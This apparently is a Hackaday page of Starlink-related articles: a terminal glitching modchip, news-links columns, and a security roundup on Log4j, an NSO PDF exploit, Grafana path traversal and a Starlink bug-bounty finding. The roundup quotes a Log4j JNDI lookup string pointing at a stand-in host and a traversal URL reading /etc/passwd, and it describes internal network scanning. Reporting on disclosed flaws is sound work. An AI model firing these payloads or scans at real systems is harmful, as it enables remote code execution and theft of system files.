Starlink Ground Stations Successfully Hacked

Belgian security researcher [Lennert Wouters] has gotten his own code running on the Starlink “Dishy McFlatface” satellite terminals, and you can too! The hack in question is a “modchip” with an RP2040 and a MOSFET that crowbars the power rails, browning out the main CPU exactly when it’s verifying the firmware’s validity and bypassing that protection entirely. [Lennert] had previously figured out how to dump the Starlink firmware straight from the eMMC, and with the ability to upload it back, the circle of pwnership is closed. This was a talk at DEFCON, and you can check out the slides here. (PDF)

The mod chip itself was a sweet piece of work, being tailored to fit into the Starlink’s motherboard just so, and taking good advantage of the RP2040’s PIOs, which are probably the microcontroller’s superpower.

[Lennert] says he submitted his glitch attack to Starlink and they took some precautions to make the glitching harder. In particular, [Lennert] was triggering his timing off of the USART port coming up on the Starlink unit, so Starlink just shut that down. But it’s not like he couldn’t trigger on some other timing-relevant digital signal, so he chose the eMMC’s D0 data line: they’re not going to be able to boot up without it, so this hack is probably final. No shade against Starlink here. It’s almost impossible to shield a device against an attacker who has it on their bench, and [Lennert] concludes that he found no low-hanging fruit and was impressed that he had to work so hard to get root.

What can you do with this? Not much, yet. But in principle, it could be used to explore the security of the rest of the Starlink network. As reported in Wired, Starlink says that they’ve got a defence-in-depth system and that just getting into the network doesn’t really get you very far. We’ll see!

Thanks [jef] for the tip!

Hackaday Links Column Banner

Hackaday Links: July 3, 2022

Looks like we might have been a bit premature in our dismissal last week of the Sun’s potential for throwing a temper tantrum, as that’s exactly what happened when a G1 geomagnetic storm hit the planet early last week. To be fair, the storm was very minor — aurora visible down to the latitude of Calgary isn’t terribly unusual — but the odd thing about this storm was that it sort of snuck up on us. Solar scientists first thought it was a coronal mass ejection (CME), possibly related to the “monster sunspot” that had rapidly tripled in size and was being hyped up as some kind of planet killer. But it appears this sneak attack came from another, less-studied phenomenon, a co-rotating interaction region, or CIR. These sound a bit like eddy currents in the solar wind, which can bunch up plasma that can suddenly burst forth from the sun, all without showing the usually telltale sunspots.

Then again, even people who study the Sun for a living don’t always seem to agree on what’s going on up there. Back at the beginning of Solar Cycle 25, NASA and NOAA, the National Oceanic and Atmospheric Administration, were calling for a relatively weak showing during our star’s eleven-year cycle, as recorded by the number of sunspots observed. But another model, developed by heliophysicists at the U.S. National Center for Atmospheric Research, predicted that Solar Cycle 25 could be among the strongest ever recorded. And so far, it looks like the latter group might be right. Where the NASA/NOAA model called for 37 sunspots in May of 2022, for example, the Sun actually threw up 97 — much more in line with what the NCAR model predicted. If the trend holds, the peak of the eleven-year cycle in April of 2025 might see over 200 sunspots a month.

So, good news and bad news from the cryptocurrency world lately. The bad news is that cryptocurrency markets are crashing, with the flagship Bitcoin falling from its high of around $67,000 down to $20,000 or so, and looking like it might fall even further. But the good news is that’s put a bit of a crimp in the demand for NVIDIA graphics cards, as the economics of turning electricity into hashes starts to look a little less attractive. So if you’re trying to upgrade your gaming rig, that means there’ll soon be a glut of GPUs, right? Not so fast, maybe: at least one analyst has a different view, based mainly on the distribution of AMD and NVIDIA GPU chips in the market as well as how much revenue they each draw from crypto rather than from traditional uses of the chips. It’s important mainly for investors, so it doesn’t really matter to you if you’re just looking for a graphics card on the cheap.

Speaking of businesses, things are not looking too good for MakerGear. According to a banner announcement on their website, the supplier of 3D printers, parts, and accessories is scaling back operations, to the point where everything is being sold on an “as-is” basis with no returns. In a long post on “The Future of MakerGear,” founder and CEO Rick Pollack says the problem basically boils down to supply chain and COVID issues — they can’t get the parts they need to make printers. And so the company is looking for a buyer. We find this sad but understandable, and wish Rick and everyone at MakerGear the best of luck as they try to keep the lights on.

And finally, if there’s one thing Elon Musk is good at, it’s keeping his many businesses in the public eye. And so it is this week with SpaceX, which is recruiting Starlink customers to write nasty-grams to the Federal Communications Commission regarding Dish Network’s plan to gobble up a bunch of spectrum in the 12-GHz band for their 5G expansion plans. The 3,000 or so newly minted experts on spectrum allocation wrote to tell FCC commissioners how much Dish sucks, and how much they love and depend on Starlink. It looks like they may have a point — Starlink uses the lowest part of the Ku band (12 GHz – 18 GHz) for data downlinks to user terminals, along with big chunks of about half a dozen other bands. It’ll be interesting to watch this one play out.

Hackaday Links Column Banner

Hackaday Links: June 19, 2022

The James Webb Space Telescope has had a long and sometimes painful journey from its earliest conception to its ultimate arrival at Lagrange point L2 and subsequent commissioning. Except for the buttery-smooth launch and deployment sequence, things rarely went well for the telescope, which suffered just about every imaginable bureaucratic, scientific, and engineering indignity during its development. But now it’s time to see what this thing can do — almost. NASA has announced that July 12 will be “Image Release Day,” which will serve as Webb’s public debut. The relative radio silence from NASA on Webb since the mirror alignment was completed — apart from the recent micrometeoroid collision, of course — suggests the space agency has been busy with “first light” projects. So there’s good reason to hope that the first released images from Webb will be pretty spectacular. The images will drop at 10:30 AM EDT, so mark your calendars and prepare to be wowed. Hopefully.

Continue reading “Hackaday Links: June 19, 2022”

Hackaday Links Column Banner

Hackaday Links: February 13, 2022

If you need evidence that our outwardly peaceful little neck of the solar system is actually a dangerous place, look no further than the 40 newly launched Starlink satellites that were just clobbered out of orbit. It seems that the SpaceX launch on February 3 was ill-timed, as it coincided with the arrival of energetic plasma from a solar storm that occurred a few days before. The coronal mass ejection followed an M-class flare on the Sun, which was aimed just right to hit just as the 49-satellite addition to the Starlink constellation was being released. This resulted in an expansion of the upper atmosphere sufficient to increase drag on the newborn satellites — up to 50% more drag than previous launches had encountered. Operators put the satellites into safe mode, but it appears that 40 of them have already met a fiery demise, or soon will. Space is a tough place to make a living.

Continue reading “Hackaday Links: February 13, 2022”

Hackaday Links Column Banner

Hackaday Links: January 23, 2022

When Tonga’s Hunga-Tonga Hunga-Ha’apai volcano erupted on January 15, one hacker in the UK knew just what to do. Sandy Macdonald from York quickly cobbled together a Raspberry Pi and a pressure/humidity sensor board and added a little code to create a recording barometer. The idea was to see if the shock wave from the eruption would be detectable over 16,000 km away — and surprise, surprise, it was! It took more than 14 hours to reach Sandy’s impromptu recording station, but the data clearly show a rapid pulse of increasing pressure as the shockwave approached, and a decreased pressure as it passed. What’s more, the shock wave that traveled the “other way” around the planet was detectable too, about seven hours after the first event. In fact, data gathered through the 19th clearly show three full passes of the shockwaves. We just find this fascinating, and applaud Sandy for the presence of mind to throw this together when news of the eruption came out.

Good news for professional astronomers and others with eyes turned skyward — it seems like the ever-expanding Starlink satellite constellation isn’t going to kill ground-based observation. At least that’s the conclusion of a team using the Zwicky Transient Facility (ZTF) at the Palomar Observatory outside San Diego. ZTF is designed to catalog anything that blinks, flashes, or explodes in the night sky, making it perfect to detect the streaks from the 1,800-odd Starlink satellites currently in orbit. They analyzed the number of satellite transients captured in ZTF images, and found that fully 20 percent of images show streaks now, as opposed to 0.5 percent back in 2019 when the constellation was much smaller. They conclude that at the 10,000 satellite full build-out, essentially every ZTF image will have a streak in it, but since the artifacts are tiny and well-characterized, they really won’t hinder the science to any appreciable degree.

Speaking of space, we finally have a bit of insight into the causes of space anemia. The 10% to 12% decrease in red blood cells in astronauts during their first ten days in space has been well known since the dawn of the Space Age, but the causes had never really been clear. It was assumed that the anemia was a result of the shifting of fluids in microgravity, but nobody really knew for sure until doing a six-month study on fourteen ISS astronauts. They used exhaled carbon monoxide as a proxy for the destruction of red blood cells (RBCs) — one molecule of CO is liberated for each hemoglobin molecule that’s destroyed — and found that the destruction of RBCs is a primary effect of being in space. Luckily, there appears to be a limit to how many RBCs are lost in space, so the astronauts didn’t suffer from complications of severe anemia while in space. Once they came back to gravity, the anemia reversed, albeit slowly and with up to a year of measurable changes to their blood.

From the “Better Late Than Never” department, we see that this week that Wired finally featured Hackaday Superfriend Sam Zeloof and his homemade integrated circuits. We’re glad to see Sam get coverage — the story was also picked up by Ars Technica — but it’s clear that nobody at either outfit reads Hackaday, since we’ve been featuring Sam since we first heard about his garage fab in 2017. That was back when Sam was still “just” making transistors; since then, we’ve featured some of his lab upgrades, watched him delve into electron beam lithography, and broke the story on his first legit integrated circuit. Along the way, we managed to coax him out to Supercon in 2019 where he gave both a talk and an interview.

And finally, if you’re in the mood for a contest, why not check out WIZNet’s Ethernet HAT contest? The idea is to explore what a Raspberry Pi Pico with Ethernet attached is good for. WIZNet has two flavors of board: one is an Ethernet HAT for the Pico, while the other is as RP2040 with built-in Ethernet. The good news is, if you submit an idea, they’ll send you a board for free. We love it when someone from the Hackaday community wins a contest, so if you enter, be sure to let us know. And hurry — submissions close January 31.

Hackaday Links Column Banner

Hackaday Links: January 9, 2022

It looks like we have a new space observatory! According to NASA, all the major deployments on the James Webb Space Telescope have been completed successfully. This includes the tricky sunshield deployment and tensioning, which went off this week without much in the way of trouble. The final major deployment, the unfolding of the starboard wing of the primary mirror of the telescope, was completed on Saturday while the spacecraft was still almost 400,000 km from its forever home orbiting Lagrange point L2. Mission controllers had allotted two weeks for the 300-odd deployments needed to turn the packaged machine into a working observatory. The remaining two weeks or so of flight include less dramatic tasks, such as trimming the shape of the primary mirror with servos that subtly alter the position and curvature of each of the 18 segments, plus a bunch of calibration tasks. But it looks like most of the really scary stuff is behind us now.

From the “Interesting Innards” department, if you’re a fan of either gaming or industrial CT scans, check out Scan of the Month’s look inside Nintendo handheld game consoles. They’ve put a bunch of games through computed tomography scans, and the results are really interesting, false-colored though they may be. Seeing the progression of technology from the original 1989 Game Boy to the Switch is fascinating. The side notes on the history and tech inside each one are pretty cool too.

A couple of weeks ago we mentioned Andrew Sink’s online low-poly generator, which takes any 3D model and allows you to control the number of polygons used to render it. He dropped us a line to let us know the tool proved popular enough that he had to move it off GitHub and onto a dedicated site. Check it out at its new home.

When something like this pops up in your feed, it seems like the best approach is to share it. It’s called DentalSlim, and claims to be the first intra-oral device designed for weight loss. It’s a hardware lock for your teeth, and it looks perfectly horrifying. The device is designed to be applied by a sadist dentist and effectively locks the lower jaw to the upper with magnets, allowing the wearer to open his or her mouth only enough to take a liquid diet. There’s also a provision for the wearer to unlock the device in an emergency, which is wise — can you imagine catching a stomach bug with your jaw locked shut? — but that seems to defeat the “hardware-enforced willpower” that the device is based on.

Have you got a bunch of filament spools lying around from all that 3D printing? Rather than put them to use rolling up strings of lights from the Christmas tree, here’s another idea: turn them into nice covered bird feeders. All you need to do is apply a rim around one side to hold the seed before hanging them out for the birds. We suppose walling off the space between the sides completely and drilling some holes could also turn them into birdhouses, too.

And finally, if your filament spool bird feeder isn’t attracting the attention of the neighborhood cats, perhaps it’s because they’ve found a nice, cozy spot to soak up some heat. At least that’s what some Starlink users are seeing as their feline friends cuddle up on Dishy McFlatface for a long winter’s nap. You see, the phased array antenna inside the enclosure gets pretty toasty, and cats are pretty much any-port-in-a-storm critters, so it’s only natural. We can’t imagine their choice of basking locale does much for data throughput, and it’s probably quite a laugh when the dish pivots to track a satellite. But it’s hard to feel sorry for something that sleeps 23-½ hours a day.

This Week In Security: Log4j, PDF CPU, And I Hacked Starlink

The big news this week is Log4j, breaking just a few hours too late to be included in last week’s column. Folks are already asking if this is the most severe vulnerability ever, and it does look like it’s at least in the running. The bug was first discovered by security professionals at Alibaba, who notified Apache of the flaw on November 24th. Cloudflare has pulled their data, and found evidence of the vulnerability in the wild as early as December 1st. These early examples are very sparse and extremely targeted, enough to make me wonder if this wasn’t researchers who were part of the initial disclosure doing further research on the problem. Regardless, on December 9th, a Twitter user tweeted the details of the vulnerability, and security hell broke loose. Nine minutes after the tweet, Cloudflare saw attempted exploit again, and within eight hours, they were dealing with 20,000 exploit attempts per minute.

That’s the timeline, but what’s going on with the exploit, and why is it so bad? First, the vulnerable package is Log4j, a logging library for Java. It allows processes to get log messages where they need to go, but with a bunch of bells and whistles included. One of those features is support for JNDI, a known security problem in Java. A JNDI request can lead to a deserialization attack, where an incoming data stream is maliciously malformed, misbehaving when it is expanded back into an object. It wasn’t intended for those JNDI lookups to be performed across the Internet, but there wasn’t an explicit check for this behavior, so here we are.

The conclusion is that if you can trigger a log write through log4j that includes ${jndi:ldap://example.com/a}, you can run arbitrary code on that machine. Researchers and criminals have already come up with creative ways to manage that, like including the string in a browser-agent, or a first name. Yes, it’s the return of little Bobby Tables.Log4j 2.16.0. 2.15.0 contained a partial fix, but didn’t fully eliminate the problem. An up-to-date Java has also changed a default setting, providing partial mitigation. But we probably haven’t seen the end of this one yet.

NSO and the CPU Emulated in a PDF

Had it been anyone other than Google’s Project Zero telling this story, I would have blown it off as a bad Hollywood plot device. This vulnerability is in the iOS iMessage app, and how it handles .gif files that actually contain PDF data. PDFs are flexible, to put it mildly. One of the possible encoding formats is JBIG2, a black and white compression codec from 2000. Part of the codec is the ability to use boolean operators AND, OR, XOR, and XNOR to represent minor differences between compressed blocks. An integer overflow in the decompression code allows much more memory to be considered valid output for decompression, which means the decompression code can run those BOOLEAN operators on that extra memory.

Now what do you get when you have plenty of memory and those four operators? A Turing complete CPU, of course. Yes, researchers at the NSO Group really built a virtual CPU in a PDF decoding routine, and use that platform to bootstrap their sandbox escape. It’s insane, unbelievable, and brilliant. [Ed Note: Too bad the NSO Group is essentially evil.]

Grafana Path Traversal

The Grafana visualization platform just recently fixed a serious problem, CVE-2021-43798. This vulnerability allows for path traversal via the plugin folders. So for instance, /public/plugins/alertlist/../../../../../../../../etc/passwd would return the passwd file from a Linux server. The updates fixing this issue were released on December 7th. This bug was actually a 0-day for a few days, as it was being discussed on the 3rd publicly, but unknown to the Grafana devs. Check out their postmortem for the details.

Starlink

And finally, I have some original research to cover. You may be familiar with my work covering the Starlink satellite internet system. Part of the impetus for buying and keeping Starlink was to do security research on the platform, and that goal has finally born some fruit — to the tune of a $4,800 bounty. Here’s the story.

I have a nearby friend who also uses Starlink, and on December 7th, we found that we had both been assigned a publicly routable IPv4 address. How does Starlink’s routing work between subscribers? Would traffic sent from my network to his be routed directly on the satellite, or would each packet have to bounce off the satellite, through SpaceX’s ground station, back to the bird, and then finally back to me? Traceroute is a wonderful tool, and it answered the question:

traceroute to 98.97.92.x (98.97.92.x), 30 hops max, 46 byte packets
1 customer.dllstxx1.pop.starlinkisp.net (98.97.80.1) 25.830 ms 24.020 ms 23.082 ms
2 172.16.248.6 (172.16.248.6) 27.783 ms 23.973 ms 27.363 ms
3 172.16.248.21 (172.16.248.21) 23.728 ms 26.880 ms 28.299 ms
4 undefined.hostname.localhost (98.97.92.x) 59.220 ms 51.474 ms 51.877 ms

We didn’t know exactly what each hop was, but the number of hops and the latency to each makes it fairly clear that our traffic was going through a ground station. But there’s something odd about this traceroute. Did you spot it? 172.16.x.y is a private network, as per RFC1918. The fact that it shows up in a traceroute means that my OpenWRT router and Starlink equipment are successfully routing from my desktop to that address. Now I’ve found this sort of thing before, on a different ISP’s network. Knowing that this could be interesting, I launched nmap and scanned the private IPs that showed up in the traceroute. Bingo.

172.16.248.6 was appropriately locked down, but 172.16.248.21 showed open ports. Namely, ports 179, 9100, 9101, and 50051. Nmap thought 179 was BGP, which sounded about right. But the rest of them? Telnet. I was fairly confident that none of these were actually telnet services, but it’s a great start when trying to identify an unknown service. This was no exception.Starlink's debug output Ports 9100 and 9101 told me I had made a bad request, throwing error 400s. Ah, they were HTTP services! Pulling both up in a web browser gave me a debug output that appeared to be from a Python Flask server.

That last port, 50051, was interesting. The only service I could find that was normally run there was Google’s gRPC, a Remote Procedure Call protocol. Grpc_cli came in handy to confirm that was what I had found. Unfortunately reflection was disabled, meaning that the service refused to enumerate the commands that it supported. Mapping any commands would require throwing a bunch of data at that port.

At this point, I began to wonder exactly what piece of hardware I was talking to. It did BGP, it was internal to Starlink’s network, and my traffic was routing through it. Could this be a satellite? Probably not, but the Starlink bug bounty is pretty clear about what should come next. Under no circumstances should a researcher do live testing on a satellite or other critical infrastructure. I suspected I was talking to part of their routing infrastructure, probably at the ground station in Dallas. Either way, poking too hard and breaking something was frowned upon, so I wrote up the disclosure on what I had found.

Starlink engineers had the ports closed within twelve hours of the report, and asked me to double-check their triage. Sure enough, while I could still ping the private IPs, no ports were open. Here is where I must credit the guys that run SpaceX’s Starlink bug bounty. They could have called this a simple information disclosure, paid a few hundred dollars, and called it a day. Instead, they took the time to investigate and confirmed that I had indeed discovered an open gRPC port, and then dropped the bombshell that it was an unauthenticated endpoint. The finding netted a $3,800 initial award, plus a bonus $1,000 for a comprehensive report and not crashing their live systems. As my local friend half-jokingly put it, that’s a lot of money for running nmap.

Yes, there was a bit of luck involved, combined with a whole lot of prior experience with network quirks. The main takeaway should be that security research doesn’t always have to be the super complicated vulnerability and exploit development. You don’t have to build a turing-complete system in a PDF. Sometimes it’s just IP and port scanning, combined with persistence and a bit of luck. In fact, if your ISP has a bug bounty program, you might try plugging a Linux machine directly into the modem, and scanning the private IP range. Keep your eyes open. You too just might find something interesting.